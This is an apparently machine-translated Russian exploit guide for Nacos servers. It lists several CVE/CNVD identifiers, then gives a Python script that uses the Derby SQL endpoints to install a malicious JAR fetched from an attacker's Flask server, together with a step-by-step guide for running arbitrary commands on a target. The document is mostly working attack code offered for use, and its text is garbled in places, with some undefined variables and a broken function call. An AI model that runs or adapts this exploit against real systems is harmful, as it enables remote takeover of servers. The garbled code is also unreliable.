1、CVE-2021-29441 Обход аутентификации
2. Ключ по умолчанию QVD-2023-6271.
3、CNVD-2020-67618 SQL-инъекция
4. Десериализация CNVD-2023-45001

#Определяем маршрут /download, вызывается, когда пользователь обращается к этому URL-адресу download_file Функция, запрашивающая загрузку интерфейса, вернет содержимое jar
@app.route('/download')   
def download_file():
Полезная нагрузка в кодировке #Base64 Декодируется в двоичные данные.
    data = base64.b64decode(payload)  
#Создайте объект ответа HTTP, содержащий декодированные данные, и Установите тип MIME на application/octet-stream (для двоичных файлов).
    response = Response(data, mimetype="application/octet-stream")
#Вы можете установить заголовок ответа, чтобы указать браузеру загрузить контент в виде вложения и указать имя файла (закомментировано здесь).
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"  
#Вернем объект ответа.
    return response

# Нажмите зеленую кнопку в области сшивания, чтобы запустить сценарий.
def exploit(target, command, service, args):
#Создаем URL-адрес, используемый для отправки запроса
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    print("Идет столкновение, пожалуйста, подождите терпеливо!!")
#loop----до успешного использования лазейки
    for i in range(0, sys.maxsize):
#id: создать случайную строку,для идентификацииSQL-инъекцияизpayload
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
#post_sql：СтроитьSQL-инъекцияизpayload,установить вредоносныйизJavaфункция
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service);
#option_sql: создавать операторы SQL и использовать вредоносную функцию для выполнения команд.
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command);
#get_sql: Создайте SQL-запрос, выполните команду и получите результаты.                                                                                 get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command);
        # get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
#requests.post: отправьте POST-запрос и загрузите вредоносный SQL.
#requests.get: отправьте запрос GET, выполните команду и получите результаты.
        post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
        post_json = post_resp.json()
        if args.url:
            print(post_json)
        if (post_json['code'] == 404 or post_json['code'] == 403) and "File" not in post_json['message']:
            print(Fore.YELLOW + f"[-] {target} Nacos_Rcelaseyki может не существовать\n" + Fore.RESET)
            break
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql}, verify=False, headers=header,
                                    timeout=5)
            print(Fore.RED + f"\n[+] {target} Nacos_Rcelaseyki существует, выполните команду: {command}" + Fore.RESET)
            print(Fore.RED + f"[+] Возвращенные результаты следующие: {get_resp.text}" + Fore.RESET)
            break


if __name__ == '__main__':
#service: создайте URL-адрес для загрузки вредоносного файла Jar.
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
#target и command：отпользовательвходить Получить цельURLивыполнитьиз Заказ。
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('Пожалуйста, введите URL-адрес каталога, по умолчанию: http://127.0.0.1:8848:') or target
    command = input('Пожалуйста, введите команду, по умолчанию: Calc:') or command
#exploit：вызовлазейкииспользоватьфункция。    exploit(target=target, command=command, service=service)

первый шаг：Установить зависимостиrequestsиflask

Шаг 2：Конфигурацияconfig.pyсерединаизipипорт,Необходимо установить зависимости

Шаг 3. Запустите вредоносный сервер: python. server.py, сожмите указанный выше вредоносный класс через b64 и загрузите его на фаск-сервер в качестве ресурса сервера.

Шаг 4. Запустите файл эксплойта.py.,Введите команду для выполнения. Calc выполняется по умолчанию.